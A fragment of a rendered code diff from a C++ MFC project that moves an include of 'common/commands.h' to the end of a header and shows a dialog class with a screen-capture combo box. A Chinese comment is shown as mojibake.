||||
virtual void OnOK();
|
||||
CComboBox m_ComboScreenCapture;
|
||||
CString m_sScreenCapture;
|
||||
};
|
||||
|
||||
Binary file not shown.
@@ -5,8 +5,6 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
// ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD>㷨<EFBFBD><E3B7A8>Ҫ<EFBFBD><D2AA>clien<65><6E>stdafx.hƥ<68><C6A5>
|
||||
#define USING_COMPRESS 1
|
||||
|
||||
@@ -163,3 +161,5 @@ public:
|
||||
#define AUTO_TICK(thresh)
|
||||
#define STOP_TICK
|
||||
#endif
|
||||
|
||||
#include "common/commands.h"
|
||||
|
||||
Reference in New Issue
Block a user